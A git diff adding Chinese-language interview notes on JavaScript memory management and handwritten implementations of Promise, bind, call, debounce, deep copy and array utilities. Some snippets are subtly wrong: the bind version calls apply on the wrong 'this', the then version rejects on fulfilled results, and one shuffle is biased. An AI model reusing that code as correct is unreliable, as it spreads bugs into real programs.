+ +- Javascript 具有自动垃圾回收机制,会定期对那些不再使用的变量、对象所占用的内存进行释放,原理就是找到不再使用的变量,然后释放掉其占用的内存。 +- JavaScript中存在两种变量:局部变量和全局变量。全局变量的生命周期会持续要页面卸载;而局部变量声明在函数中,它的生命周期从函数执行开始,直到函数执行结束,在这个过程中,局部变量会在堆或栈中存储它们的值,当函数执行结束后,这些局部变量不再被使用,它们所占有的空间就会被释放。 +- 不过,当局部变量被外部函数使用时,其中一种情况就是闭包,**在函数执行结束后,函数外部的变量依然指向函数内部的局部变量**,此时局部变量依然在被引用,所以不会回收。 + +#### (2)垃圾回收的方式 + +浏览器通常使用的垃圾回收方法有两种:标记清除,引用计数。 + + **1)标记清除** + +- 标记清除是浏览器常见的垃圾回收方式,当变量进入执行环境时,就标记这个变量“进入环境”,被标记为“进入环境”的变量是不能被回收的,因为他们正在被使用。当变量离开环境时,就会被标记为“离开环境”,被标记为“离开环境”的变量会被内存释放。 +- 垃圾收集器在运行的时候会给存储在内存中的所有变量都加上标记。然后,它会去掉环境中的变量以及被环境中的变量引用的标记。而在此之后再被加上标记的变量将被视为准备删除的变量,原因是环境中的变量已经无法访问到这些变量了。最后。垃圾收集器完成内存清除工作,销毁那些带标记的值,并回收他们所占用的内存空间。 + +**2)引用计数** + +- 另外一种垃圾回收机制就是引用计数,这个用的相对较少。引用计数就是跟踪记录每个值被引用的次数。当声明了一个变量并将一个引用类型赋值给该变量时,则这个值的引用次数就是1。相反,如果包含对这个值引用的变量又取得了另外一个值,则这个值的引用次数就减1。当这个引用次数变为0时,说明这个变量已经没有价值,因此,在在机回收期下次再运行时,这个变量所占有的内存空间就会被释放出来。 +- 这种方法会引起**循环引用**的问题:例如:` obj1`和`obj2`通过属性进行相互引用,两个对象的引用次数都是2。当使用循环计数时,由于函数执行完后,两个对象都离开作用域,函数执行结束,`obj1`和`obj2`还将会继续存在,因此它们的引用次数永远不会是0,就会引起循环引用。 + +```javascript +function fun() { + let obj1 = {}; + let obj2 = {}; + obj1.a = obj2; // obj1 引用 obj2 + obj2.a = obj1; // obj2 引用 obj1 +} +``` + +这种情况下,就要手动释放变量占用的内存: + +```javascript +obj1.a = null +obj2.a = null +``` + +#### (3)减少垃圾回收 + +虽然浏览器可以进行垃圾自动回收,但是当代码比较复杂时,垃圾回收所带来的代价比较大,所以应该尽量减少垃圾回收。 + +- **对数组进行优化:** 在清空一个数组时,最简单的方法就是给其赋值为[ ],但是与此同时会创建一个新的空对象,可以将数组的长度设置为0,以此来达到清空数组的目的。 +- **对**`object`**进行优化:** 对象尽量复用,对于不再使用的对象,就将其设置为null,尽快被回收。 +- **对函数进行优化:** 在循环中的函数表达式,如果可以复用,尽量放在函数的外面。 + +### 2. 哪些情况会导致内存泄漏 :star: + +以下四种情况会造成内存的泄漏(内存空间无法被回收): + +- **意外的全局变量:** 由于使用未声明的变量,而意外的创建了一个全局变量,而使这个变量一直留在内存中无法被回收。 +- **被遗忘的计时器或回调函数:** 设置了 setInterval 定时器,而忘记取消它,如果循环函数有对外部变量的引用的话,那么这个变量会被一直留在内存中,而无法被回收。 +- **脱离 DOM 的引用:** 获取一个 DOM 元素的引用,而后面这个元素被删除,由于一直保留了对这个元素的引用,所以它也无法被回收。 +- **闭包:** 不合理的使用闭包,从而导致某些变量一直被留在内存当中。例如循环引用等。 diff --git "a/src/\345\205\253\350\202\241\346\226\207/JavaScript/JavaScript \351\253\230\351\242\221\346\211\213\346\222\225.md" "b/src/\345\205\253\350\202\241\346\226\207/JavaScript/JavaScript \351\253\230\351\242\221\346\211\213\346\222\225.md" new file mode 100644 index 00000000..1ecf1447 --- /dev/null +++ "b/src/\345\205\253\350\202\241\346\226\207/JavaScript/JavaScript \351\253\230\351\242\221\346\211\213\346\222\225.md" @@ -0,0 +1,2118 @@ +--- +date: 2022-06-28 +star: true +category: +- 前端 +- JavaScript +--- + +> [2021」高频前端面试题汇总之手写代码篇](https://juejin.cn/post/6946136940164939813) + +# JavaScript 高频手撕 + +## 一、JavaScript 基础 + +### 1. 手写 Object.create + +思路:将传入的对象作为新构造函数对象原型 + +```javascript +function create(obj) { + function F() {} + F.prototype = obj + return new F() +} +``` + +### 2. 手写 instanceof 方法 :star::star: + +instanceof 运算符用于判断构造函数的 prototype 属性是否出现在对象的原型链中的任何位置。 + +**实现步骤:** + +1. 首先获取类型的原型 +2. 然后获得对象的原型 +3. 然后一直循环判断对象的原型是否等于类型的原型,直到对象原型为 `null`,因为原型链最终为 `null` + +具体实现: + +```javascript +function myInstanceof(left, right) { + let proto = Object.getPrototypeOf(left), // 获取对象的原型 + prototype = right.prototype; // 获取构造函数的 prototype 对象 + + // 判断构造函数的 prototype 对象是否在对象的原型链上 + while (true) { + if (!proto) return false; + if (proto === prototype) return true; + + proto = Object.getPrototypeOf(proto); + } +} +``` + +### 3. 手写 new 操作符:star::star: + +在调用 `new` 的过程中会发生以上四件事情: + +(1)首先创建了一个新的空对象 + +(2)设置原型,将对象的原型设置为函数的 prototype 对象。 + +(3)让函数的 this 指向这个对象,执行构造函数的代码(为这个新对象添加属性) + +(4)判断函数的返回值类型,如果是值类型,返回创建的对象。如果是引用类型,就返回这个引用类型的对象。 + +```javascript +function objectFactory(...args) { + let newObject = null; + // let constructor = Array.prototype.shift.call(arguments); // arguments并不是数组,只是类数组对象,无法使用arguments[0]访问 + let constructor = args.shift(); + let result = null; + // 判断参数是否是一个函数 + if (typeof constructor !== "function") { + console.error("type error"); + return; + } + // 新建一个空对象,对象的原型为构造函数的 prototype 对象 + newObject = Object.create(constructor.prototype); + // 将 this 指向新建对象,并执行函数 + result = constructor.apply(newObject, args); + // 判断返回对象,如果是引用类型,就返回这个引用类型的对象,否则返回新建的对象 + let flag = result && (typeof result === "object" || typeof result === "function"); + // 判断返回结果 + return flag ? result : newObject; +} +// 使用方法 +objectFactory(构造函数, 初始化参数); +``` + +简化版本 + +- 创建了新空对象 + +- 将构造函数的作用域赋值给新对象(this指向新对象) + +- 执行构造函数代码 (为这个新对象添加属性) + +- 返回新对象 + +```js +function newObj() { + const obj = {}; + const Constructor = Array.prototype.shift.call(arguments); + obj.__proto__ = Constructor.prototype; + Constructor.apply(obj, arguments); + return obj; +} +``` + + + +### 4. 手写 Promise:star: + +```javascript +const PENDING = "pending"; +const RESOLVED = "resolved"; +const REJECTED = "rejected"; + +function MyPromise(fn) { + // 保存初始化状态 + var self = this; + + // 初始化状态 + this.state = PENDING; + + // 用于保存 resolve 或者 rejected 传入的值 + this.value = null; + + // 用于保存 resolve 的回调函数 + this.resolvedCallbacks = []; + + // 用于保存 reject 的回调函数 + this.rejectedCallbacks = []; + + // 状态转变为 resolved 方法 + function resolve(value) { + // 判断传入元素是否为 Promise 值,如果是,则状态改变必须等待前一个状态改变后再进行改变 + if (value instanceof MyPromise) { + return value.then(resolve, reject); + } + + // 保证代码的执行顺序为本轮事件循环的末尾 + setTimeout(() => { + // 只有状态为 pending 时才能转变, + if (self.state === PENDING) { + // 修改状态 + self.state = RESOLVED; + + // 设置传入的值 + self.value = value; + + // 执行回调函数 + self.resolvedCallbacks.forEach(callback => { + callback(value); + }); + } + }, 0); + } + + // 状态转变为 rejected 方法 + function reject(value) { + // 保证代码的执行顺序为本轮事件循环的末尾 + setTimeout(() => { + // 只有状态为 pending 时才能转变 + if (self.state === PENDING) { + // 修改状态 + self.state = REJECTED; + + // 设置传入的值 + self.value = value; + + // 执行回调函数 + self.rejectedCallbacks.forEach(callback => { + callback(value); + }); + } + }, 0); + } + + // 将两个方法传入函数执行 + try { + fn(resolve, reject); + } catch (e) { + // 遇到错误时,捕获错误,执行 reject 函数 + reject(e); + } +} + +MyPromise.prototype.then = function(onResolved, onRejected) { + // 首先判断两个参数是否为函数类型,因为这两个参数是可选参数 + onResolved = + typeof onResolved === "function" + ? onResolved + : function(value) { + return value; + }; + + onRejected = + typeof onRejected === "function" + ? onRejected + : function(error) { + throw error; + }; + + // 如果是等待状态,则将函数加入对应列表中 + if (this.state === PENDING) { + this.resolvedCallbacks.push(onResolved); + this.rejectedCallbacks.push(onRejected); + } + + // 如果状态已经凝固,则直接执行对应状态的函数 + + if (this.state === RESOLVED) { + onResolved(this.value); + } + + if (this.state === REJECTED) { + onRejected(this.value); + } +}; +``` + +### 5. 手写 Promise.then:star: + +`then` 方法返回一个新的 `promise` 实例,为了在 `promise` 状态发生变化时(`resolve` / `reject` 被调用时)再执行 `then` 里的函数,我们使用一个 `callbacks` 数组先把传给then的函数暂存起来,等状态改变时再调用。 + +**那么,怎么保证后一个 \**`\*\*then\*\*`\** 里的方法在前一个 \**`\*\*then\*\*`\**(可能是异步)结束之后再执行呢?** 我们可以将传给 `then` 的函数和新 `promise` 的 `resolve` 一起 `push` 到前一个 `promise` 的 `callbacks` 数组中,达到承前启后的效果: + +- 承前:当前一个 `promise` 完成后,调用其 `resolve` 变更状态,在这个 `resolve` 里会依次调用 `callbacks` 里的回调,这样就执行了 `then` 里的方法了 +- 启后:上一步中,当 `then` 里的方法执行完成后,返回一个结果,如果这个结果是个简单的值,就直接调用新 `promise` 的 `resolve`,让其状态变更,这又会依次调用新 `promise` 的 `callbacks` 数组里的方法,循环往复。。如果返回的结果是个 `promise`,则需要等它完成之后再触发新 `promise` 的 `resolve`,所以可以在其结果的 `then` 里调用新 `promise` 的 `resolve` + +```javascript +then(onFulfilled, onReject){ + // 保存前一个promise的this + const self = this; + return new MyPromise((resolve, reject) => { + // 封装前一个promise成功时执行的函数 + let fulfilled = () => { + try{ + const result = onFulfilled(self.value); // 承前 + return result instanceof MyPromise? result.then(resolve, reject) : resolve(result); //启后 + }catch(err){ + reject(err) + } + } + // 封装前一个promise失败时执行的函数 + let rejected = () => { + try{ + const result = onReject(self.reason); + return result instanceof MyPromise? result.then(resolve, reject) : reject(result); + }catch(err){ + reject(err) + } + } + switch(self.status){ + case PENDING: + self.onFulfilledCallbacks.push(fulfilled); + self.onRejectedCallbacks.push(rejected); + break; + case FULFILLED: + fulfilled(); + break; + case REJECT: + rejected(); + break; + } + }) + } +``` + +**注意:** + +- 连续多个 `then` 里的回调方法是同步注册的,但注册到了不同的 `callbacks` 数组中,因为每次 `then` 都返回新的 `promise` 实例(参考上面的例子和图) +- 注册完成后开始执行构造函数中的异步事件,异步完成之后依次调用 `callbacks` 数组中提前注册的回调 + +### 6. 手写 Promise.all:star::star: + +**1) 核心思路** + +1. 接收一个 **Promise 实例的数组**或具有 **Iterator 接口的对象(可迭代对象)**作为参数 +2. 这个方法返回一个**新的 promise 对象**, +3. 遍历传入的参数,用Promise.resolve()将参数"包一层",使其变成一个promise对象 +4. 参数所有回调成功才是成功,返回值数组与参数顺序一致 +5. 参数数组其中一个失败,则触发失败状态,第一个触发失败的 Promise 错误信息作为 Promise.all 的错误信息。 + +**2)实现代码** + +一般来说,Promise.all 用来处理多个并发请求,也是为了页面数据构造的方便,将一个页面所用到的在不同接口的数据一起请求过来,不过,如果其中一个接口失败了,多个请求也就失败了,页面可能啥也出不来,这就看当前页面的耦合程度了 + +```javascript +function promiseAll(promises) { + return new Promise(function(resolve, reject) { + // 参数校验 + if(!Array.isArray(promises)){ + throw new TypeError(`argument must be a array`) + } + var resolvedCounter = 0; + var promiseNum = promises.length; + var resolvedResult = []; + // 循环执行 + for (let i = 0; i < promiseNum; i++) { + Promise.resolve(promises[i]).then(value=>{ + resolvedCounter++; + resolvedResult[i] = value; + if (resolvedCounter == promiseNum) { + return resolve(resolvedResult) + } + },error=>{ + return reject(error) + }) + } + }) +} +// test +let p1 = new Promise(function (resolve, reject) { + setTimeout(function () { + resolve(1) + }, 1000) +}) +let p2 = new Promise(function (resolve, reject) { + setTimeout(function () { + resolve(2) + }, 2000) +}) +let p3 = new Promise(function (resolve, reject) { + setTimeout(function () { + resolve(3) + }, 3000) +}) +promiseAll([p3, p1, p2]).then(res => { + console.log(res) // [3, 1, 2] +}) +``` + +### 7. 手写 Promise.race:star: + +该方法的参数是 Promise 实例数组, 然后其 then 注册的回调方法是数组中的某一个 Promise 的状态变为 fulfilled 的时候就执行. 因为 Promise 的状态**只能改变一次**, 那么我们只需要把 Promise.race 中产生的 Promise 对象的 resolve 方法, 注入到数组中的每一个 Promise 实例中的回调函数中即可. + +> 外部resolve, reject,将由args[i]去执行new Promise的resolve, reject + +```javascript +Promise.race = function (args) { + return new Promise((resolve, reject) => { + for (let i = 0, len = args.length; i < len; i++) { + args[i].then(resolve, reject) + } + }) +} +``` + +> 补充手写Promise.any + +### 手写 Promise.any + +```js +MyPromise.any = function(promises){ + return new Promise((resolve,reject)=>{ + promises = Array.isArray(promises) ? promises : [] + let len = promises.length + // 用于收集所有 reject + let errs = [] + // 如果传入的是一个空数组,那么就直接返回 AggregateError + if(len === 0) return reject(new AggregateError('All promises were rejected')) + promises.forEach((promise)=>{ + promise.then(value=>{ + resolve(value) + },err=>{ + len-- + errs.push(err) + if(len === 0){ + reject(new AggregateError(errs)) + } + }) + }) + }) +} +``` + +### 8. 手写防抖函数:star::star: + +函数防抖是指在事件被触发 n 秒后再执行回调,如果在这 n 秒内事件又被触发,则重新计时。这可以使用在一些点击请求的事件上,避免因为用户的多次点击向后端发送多次请求。 + +```javascript +// 函数防抖的实现 +function debounce(fn, wait) { + let timer = null; + + return function () { + let context = this, // 保存当前函数执行上下文 + args = arguments; + + // 如果此时存在定时器的话,则取消之前的定时器重新记时 + if (timer) { + clearTimeout(timer); + timer = null; + } + + // 设置定时器,使事件间隔指定事件后执行 + timer = setTimeout(function () { + fn.apply(context, args); + }, wait); + }; +} + +// 函数防抖的实现 +function debounce2(fn, wait) { + let timer = null; + return function (...arg) { + // 如果此时存在定时器的话,则取消之前的定时器重新记时 + if (timer) { + clearTimeout(timer); + timer = null; + } + + // 设置定时器,使事件间隔指定事件后执行 + timer = setTimeout(() => { + fn.apply(this, arg); + }, wait); + }; +} +``` + +### 9. 手写节流函数:star::star: + +函数节流是指规定一个单位时间,在这个单位时间内,只能有一次触发事件的回调函数执行,如果在同一个单位时间内某事件被触发多次,只有一次能生效。节流可以使用在 scroll 函数的事件监听上,通过事件节流来降低事件调用的频率。 + +```javascript +// 函数节流的实现; +function throttle(fn, delay) { + let curTime = Date.now(); + + return function() { + let context = this, + args = arguments, + nowTime = Date.now(); + + // 如果两次时间间隔超过了指定时间,则执行函数。 + if (nowTime - curTime >= delay) { + curTime = Date.now(); + return fn.apply(context, args); + } + }; +} +``` + +### 10. 手写类型判断函数:star: + +1. 判断数据是 null 的情况 +2. `typeof`判断数据是引用类型的情况 +3. `typeof`判断数据是基本数据类型的情况和函数的情况 + +```javascript +function getType(value) { + // 判断数据是 null/undefined 的情况 + if (value == null) { + return value + ""; + } + // 判断数据是引用类型的情况 + if (typeof value === "object") { + let valueClass = Object.prototype.toString.call(value), + type = valueClass.split(" ")[1].split(""); + type.pop(); + return type.join("").toLowerCase(); + } else { + // 判断数据是基本数据类型的情况和函数的情况 + return typeof value; + } +} +``` + +### 11. 手写 call 函数:star::star: + +call 函数的实现步骤: + +1. 判断调用对象是否为函数,即使我们是定义在函数的原型上的,但是可能出现使用 call 等方式调用的情况。 +2. 判断传入上下文对象是否存在,如果不存在,则设置为 window 。 +3. 处理传入的参数,截取第一个参数后的所有参数。 +4. 将函数作为上下文对象的一个属性。 +5. 使用上下文对象来调用这个方法,并保存返回结果。 +6. 删除刚才新增的属性。 +7. 返回结果。 + +```javascript +// call函数实现 +Function.prototype.myCall = function(context) { + // 判断调用对象 + if (typeof this !== "function") { + console.error("type error"); + } + // 获取参数 + let args = [...arguments].slice(1), + result = null; + // 判断 context 是否传入,如果未传入则设置为 window + context = context || window; + // 将调用函数设为对象的方法 + context.fn = this; + // 调用函数 + result = context.fn(...args); + // 将属性删除 + delete context.fn; + return result; +}; +``` + +### 12. 手写 apply 函数:star::star: + +apply 函数的实现步骤: + +1. 判断调用对象是否为函数,即使我们是定义在函数的原型上的,但是可能出现使用 call 等方式调用的情况。 +2. 判断传入上下文对象是否存在,如果不存在,则设置为 window 。 +3. 将函数作为上下文对象的一个属性。 +4. 判断参数值是否传入 +5. 使用上下文对象来调用这个方法,并保存返回结果。 +6. 删除刚才新增的属性 +7. 返回结果 + +```javascript +// apply 函数实现 +Function.prototype.myApply = function(context) { + // 判断调用对象是否为函数 + if (typeof this !== "function") { + throw new TypeError("Error"); + } + let result = null; + // 判断 context 是否存在,如果未传入则为 window + context = context || window; + // 将函数设为对象的方法 + context.fn = this; + // 调用方法 + if (arguments[1]) { + result = context.fn(...arguments[1]); + } else { + result = context.fn(); + } + // 将属性删除 + delete context.fn; + return result; +}; +``` + +### 13. 手写 bind 函数:star::star: + +bind 函数的实现步骤: + +1. 判断调用对象是否为函数,即使我们是定义在函数的原型上的,但是可能出现使用 call 等方式调用的情况。 +2. 保存当前函数的引用,获取其余传入参数值。 +3. 创建一个函数返回 +4. 函数内部使用 apply 来绑定函数调用,需要判断函数作为构造函数的情况,这个时候需要传入当前函数的 this 给 apply 调用,其余情况都传入指定的上下文对象。 + +```javascript +// bind 函数实现 +Function.prototype.myBind = function (context) { + if (typeof this !== "function") { + throw new TypeError("Error"); + } + const args = [...arguments].slice(1) + return function Fn() { + // 根据调用方式,传入不同绑定值,判断函数作为构造函数的情况 + return this.apply( + this instanceof Fn ? this : context, + args.concat(...arguments) + ) + } +} +``` + +### 14. 函数柯里化的实现:star: + +函数柯里化指的是一种将使用多个参数的一个函数转换成一系列使用一个参数的函数的技术。 + +```javascript +function curry(fn, args) { + // 获取函数需要的参数长度 + let length = fn.length; + + args = args || []; + + return function() { + let subArgs = args.slice(0); + + // 拼接得到现有的所有参数 + for (let i = 0; i < arguments.length; i++) { + subArgs.push(arguments[i]); + } + + // 判断参数的长度是否已经满足函数所需参数的长度 + if (subArgs.length >= length) { + // 如果满足,执行函数 + return fn.apply(this, subArgs); + } else { + // 如果不满足,递归返回科里化的函数,等待参数的传入 + return curry.call(this, fn, subArgs); + } + }; +} + +// es6 实现 +function curry(fn, ...args) { + return fn.length <= args.length ? fn(...args) : curry.bind(null, fn, ...args); +} +``` + +### 15. 实现AJAX请求:star::star: + +AJAX是 Asynchronous JavaScript and XML 的缩写,指的是通过 JavaScript 的 异步通信,从服务器获取 XML 文档从中提取数据,再更新当前网页的对应部分,而不用刷新整个网页。 + +创建AJAX请求的步骤: + +- **创建一个 XMLHttpRequest 对象。** +- 在这个对象上**使用 open 方法创建一个 HTTP 请求**,open 方法所需要的参数是请求的方法、请求的地址、是否异步和用户的认证信息。 +- 在发起请求前,可以为这个对象**添加一些信息和监听函数**。比如说可以通过 setRequestHeader 方法来为请求添加头信息。还可以为这个对象添加一个状态监听函数。一个 XMLHttpRequest 对象一共有 5 个状态,当它的状态变化时会触发onreadystatechange 事件,可以通过设置监听函数,来处理请求成功后的结果。当对象的 readyState 变为 4 的时候,代表服务器返回的数据接收完成,这个时候可以通过判断请求的状态,如果状态是 2xx 或者 304 的话则代表返回正常。这个时候就可以通过 response 中的数据来对页面进行更新了。 +- 当对象的属性和监听函数设置完成后,最后调**用 sent 方法来向服务器发起请求**,可以传入参数作为发送的数据体。 + +```javascript +const SERVER_URL = "/server"; +let xhr = new XMLHttpRequest(); +// 创建 Http 请求 +xhr.open("GET", SERVER_URL, true); +// 设置状态监听函数 +xhr.onreadystatechange = function() { + if (this.readyState !== 4) return; + // 当请求成功时 + if (this.status === 200) { + handle(this.response); + } else { + console.error(this.statusText); + } +}; +// 设置请求失败时的监听函数 +xhr.onerror = function() { + console.error(this.statusText); +}; +// 设置请求头信息 +xhr.responseType = "json"; +xhr.setRequestHeader("Accept", "application/json"); +// 发送 Http 请求 +xhr.send(null); +``` + +### 16. 使用Promise封装AJAX请求 + +```javascript +// promise 封装实现: +function getJSON(url) { + // 创建一个 promise 对象 + let promise = new Promise(function(resolve, reject) { + let xhr = new XMLHttpRequest(); + // 新建一个 http 请求 + xhr.open("GET", url, true); + // 设置状态的监听函数 + xhr.onreadystatechange = function() { + if (this.readyState !== 4) return; + // 当请求成功或失败时,改变 promise 的状态 + if (this.status === 200) { + resolve(this.response); + } else { + reject(new Error(this.statusText)); + } + }; + // 设置错误监听函数 + xhr.onerror = function() { + reject(new Error(this.statusText)); + }; + // 设置响应的数据类型 + xhr.responseType = "json"; + // 设置请求头信息 + xhr.setRequestHeader("Accept", "application/json"); + // 发送 http 请求 + xhr.send(null); + }); + return promise; +} +``` + +### 17. 实现浅拷贝 + +> 对基本数据类型没有深浅拷贝之分 + +浅拷贝是指,一个新的对象对原始对象的属性值进行精确地拷贝,如果拷贝的是基本数据类型,拷贝的就是基本数据类型的值,如果是引用数据类型,拷贝的就是内存地址。如果其中一个对象的引用内存地址发生改变,另一个对象也会发生变化。 + +#### (1)Object.assign() + +`Object.assign()`是ES6中对象的拷贝方法,接受的第一个参数是目标对象,其余参数是源对象,用法:`Object.assign(target, source_1, ···)`,该方法可以实现浅拷贝,也可以实现一维对象的深拷贝。 + +**注意:** + +- 如果目标对象和源对象有同名属性,或者多个源对象有同名属性,则后面的属性会覆盖前面的属性。 +- 如果该函数只有一个参数,当参数为对象时,直接返回该对象;当参数不是对象时,会先将参数转为对象然后返回。 +- 因为`null` 和 `undefined` 不能转化为对象,所以第一个参数不能为`null`或 `undefined`,会报错。 + +```javascript +let target = {a: 1}; +let object2 = {b: 2}; +let object3 = {c: 3}; +Object.assign(target,object2,object3); +console.log(target); // {a: 1, b: 2, c: 3} +``` + +#### (2)扩展运算符 + +使用扩展运算符可以在构造字面量对象的时候,进行属性的拷贝。语法:`let cloneObj = { ...obj };` + +```javascript +let obj1 = {a:1,b:{c:1}} +let obj2 = {...obj1}; +obj1.a = 2; +console.log(obj1); //{a:2,b:{c:1}} +console.log(obj2); //{a:1,b:{c:1}} +obj1.b.c = 2; +console.log(obj1); //{a:2,b:{c:2}} +console.log(obj2); //{a:1,b:{c:2}} +``` + +#### (3)数组方法实现数组浅拷贝 + +###### **1)Array.prototype.slice** + +- `slice()`方法是JavaScript数组的一个方法,这个方法可以从已有数组中返回选定的元素:用法:`array.slice(start, end)`,该方法不会改变原始数组。 +- 该方法有两个参数,两个参数都可选,如果两个参数都不写,就可以实现一个数组的浅拷贝。 + +```javascript +let arr = [1,2,3,4]; +console.log(arr.slice()); // [1,2,3,4] +console.log(arr.slice() === arr); //false +``` + +###### **2)Array.prototype.concat** + +- `concat()` 方法用于合并两个或多个数组。此方法不会更改现有数组,而是返回一个新数组。 +- 该方法有两个参数,两个参数都可选,如果两个参数都不写,就可以实现一个数组的浅拷贝。 + +```javascript +let arr = [1,2,3,4]; +console.log(arr.concat()); // [1,2,3,4] +console.log(arr.concat() === arr); //false +``` + +#### (4)手写实现浅拷贝 + +```javascript +// 浅拷贝的实现; + +function shallowCopy(object) { + // 只拷贝对象 + if (!object || typeof object !== "object") return; + + // 根据 object 的类型判断是新建一个数组还是对象 + let newObject = Array.isArray(object) ? [] : {}; + + // 遍历 object,并且判断是 object 的属性才拷贝 + for (let key in object) { + if (object.hasOwnProperty(key)) { + newObject[key] = object[key]; + } + } + + return newObject; +}// 浅拷贝的实现; + +function shallowCopy(object) { + // 只拷贝对象 + if (!object || typeof object !== "object") return; + + // 根据 object 的类型判断是新建一个数组还是对象 + let newObject = Array.isArray(object) ? [] : {}; + + // 遍历 object,并且判断是 object 的属性才拷贝 + for (let key in object) { + if (object.hasOwnProperty(key)) { + newObject[key] = object[key]; + } + } + + return newObject; +}// 浅拷贝的实现; +function shallowCopy(object) { + // 只拷贝对象 + if (!object || typeof object !== "object") return; + // 根据 object 的类型判断是新建一个数组还是对象 + let newObject = Array.isArray(object) ? [] : {}; + // 遍历 object,并且判断是 object 的属性才拷贝 + for (let key in object) { + if (object.hasOwnProperty(key)) { + newObject[key] = object[key]; + } + } + return newObject; +} +``` + +### 18. 实现深拷贝 :star::star: + +- **浅拷贝:** 浅拷贝指的是将一个对象的属性值复制到另一个对象,如果有的属性的值为引用类型的话,那么会将这个引用的地址复制给对象,因此两个对象会有同一个引用类型的引用。浅拷贝可以使用 Object.assign 和展开运算符来实现。 +- **深拷贝:** 深拷贝相对浅拷贝而言,如果遇到属性值为引用类型的时候,它新建一个引用类型并将对应的值复制给它,因此对象获得的一个新的引用类型而不是一个原有类型的引用。深拷贝对于一些对象可以使用 JSON 的两个函数来实现,但是由于 JSON 的对象格式比 js 的对象格式更加严格,所以如果属性值里边出现函数或者 Symbol 类型的值时,会转换失败 + +#### (1)JSON.stringify() + +- `JSON.parse(JSON.stringify(obj))`是目前比较常用的深拷贝方法之一,它的原理就是利用`JSON.stringify` 将`js`对象序列化(JSON字符串),再使用`JSON.parse`来反序列化(还原)`js`对象。 +- 这个方法可以简单粗暴的实现深拷贝,但是还存在问题,**拷贝的对象中如果有函数,undefined,symbol,当使用过`JSON.stringify()`进行处理之后,都会消失。并且无法处理循环引用** + +```javascript +let obj1 = { a: 0, + b: { + c: 0 + } + }; +let obj2 = JSON.parse(JSON.stringify(obj1)); +obj1.a = 1; +obj1.b.c = 1; +console.log(obj1); // {a: 1, b: {c: 1}} +console.log(obj2); // {a: 0, b: {c: 0}} +``` + +#### (2)函数库lodash的_.cloneDeep方法 + +该函数库也有提供_.cloneDeep用来做 Deep Copy + +```javascript +var _ = require('lodash'); +var obj1 = { + a: 1, + b: { f: { g: 1 } }, + c: [1, 2, 3] +}; +var obj2 = _.cloneDeep(obj1); +console.log(obj1.b.f === obj2.b.f);// false +``` + +#### (3)手写实现深拷贝函数 + +```javascript +// 深拷贝的实现 +function deepCopy(object) { + if (!object || typeof object !== "object") return; + + let newObject = Array.isArray(object) ? [] : {}; + + for (let key in object) { + if (object.hasOwnProperty(key)) { // 指示对象自身属性中是否具有指定的属性 + newObject[key] = + typeof object[key] === "object" ? deepCopy(object[key]) : object[key]; + } + } + + return newObject; +} +``` + +## 二、数据处理 + +### 1. 实现日期格式化函数 :star: + +输入: + +```javascript +dateFormat(new Date('2020-12-01'), 'yyyy/MM/dd') // 2020/12/01 +dateFormat(new Date('2020-04-01'), 'yyyy/MM/dd') // 2020/04/01 +dateFormat(new Date('2020-04-01'), 'yyyy年MM月dd日') // 2020年04月01日 +const dateFormat = (dateInput, format)=>{ + var day = dateInput.getDate() + var month = dateInput.getMonth() + 1 + var year = dateInput.getFullYear() + format = format.replace(/yyyy/, year) + format = format.replace(/MM/,month) + format = format.replace(/dd/,day) + return format +} +``` + +### 2. 交换a,b的值,不能用临时变量 + +巧妙的利用两个数的和、差: + +```javascript +a = a + b +b = a - b +a = a - b +``` + +### 3. 实现数组的乱序输出 :star::star: + +主要的实现思路就是: + +- 取出数组的第一个元素,随机产生一个索引值,将该第一个元素和这个索引对应的元素进行交换。 +- 第二次取出数据数组第二个元素,随机产生一个除了索引为1的之外的索引值,并将第二个元素与该索引值对应的元素进行交换 +- 按照上面的规律执行,直到遍历完成 + +```javascript +var arr = [1,2,3,4,5,6,7,8,9,10]; +for (var i = 0; i < arr.length; i++) { + const randomIndex = Math.round(Math.random() * (arr.length - 1 - i)) + i; + [arr[i], arr[randomIndex]] = [arr[randomIndex], arr[i]]; +} +console.log(arr) +``` + +还有一方法就是倒序遍历: + +```js +var arr = [1,2,3,4,5,6,7,8,9,10]; +let length = arr.length, + randomIndex, + temp; + while (length) { + randomIndex = Math.floor(Math.random() * length--); + temp = arr[length]; + arr[length] = arr[randomIndex]; + arr[randomIndex] = temp; + } +console.log(arr) +``` + +### 4. 实现数组元素求和 :star: + +- arr=[1,2,3,4,5,6,7,8,9,10],求和 + +```javascript +let arr=[1,2,3,4,5,6,7,8,9,10] +let sum = arr.reduce( (total,i) => total += i,0); +console.log(sum); +``` + +- arr=[1,2,3,[[4,5],6],7,8,9],求和 + +> `[1,2,3,[[4,5],6],7,8,9].toString = 1,2,3,4,5,6,7,8,9 ` + +```js +var arr=[1,2,3,[[4,5],6],7,8,9] +arr= arr.toString().split(',').reduce( (total,i) => total += Number(i),0); +console.log(arr) +``` + +递归实现: + +```javascript +let arr = [1, 2, 3, 4, 5, 6] + +function add(arr) { + if (arr.length == 1) return arr[0] + return arr[0] + add(arr.slice(1)) +} +console.log(add(arr)) // 21 +``` + + + +### 5. 实现数组的扁平化 :star::star::star: + +**(1)递归实现** + +普通的递归思路很容易理解,就是通过循环递归的方式,一项一项地去遍历,如果每一项还是一个数组,那么就继续往下遍历,利用递归程序的方法,来实现数组的每一项的连接: + +```javascript +let arr = [1, [2, [3, 4, 5]]]; +function flatten(arr) { + let result = []; + + for(let i = 0; i < arr.length; i++) { + if(Array.isArray(arr[i])) { + result = result.concat(flatten(arr[i])); + } else { + result.push(arr[i]); + } + } + return result; +} +flatten(arr); // [1, 2, 3, 4,5] +``` + +(2)**reduce 函数迭代**:star: + +从上面普通的递归函数中可以看出,其实就是对数组的每一项进行处理,那么其实也可以用reduce 来实现数组的拼接,从而简化第一种方法的代码,改造后的代码如下所示: + +```javascript +let arr = [1, [2, [3, 4]]]; + +function flatten(arr) { + return arr.reduce((prev, cur) => prev.concat(Array.isArray(cur) ? flatten(cur) : cur), []) +} + +console.log(flatten(arr));// [1, 2, 3, 4,5] +``` + +**(3)扩展运算符实现** + +这个方法的实现,采用了扩展运算符和 some 的方法,两者共同使用,达到数组扁平化的目的: + +```javascript +let arr = [1, [2, [3, 4]]]; +function flatten(arr) { + while (arr.some(item => Array.isArray(item))) { + arr = [].concat(...arr); + } + return arr; +} +console.log(flatten(arr)); // [1, 2, 3, 4,5] +``` + +**(4)split 和 toString** + +可以通过 split 和 toString 两个方法来共同实现数组扁平化,由于数组会默认带一个 toString 的方法,所以可以把数组直接转换成逗号分隔的字符串,然后再用 split 方法把字符串重新转换为数组,如下面的代码所示: + +```javascript +let arr = [1, [2, [3, 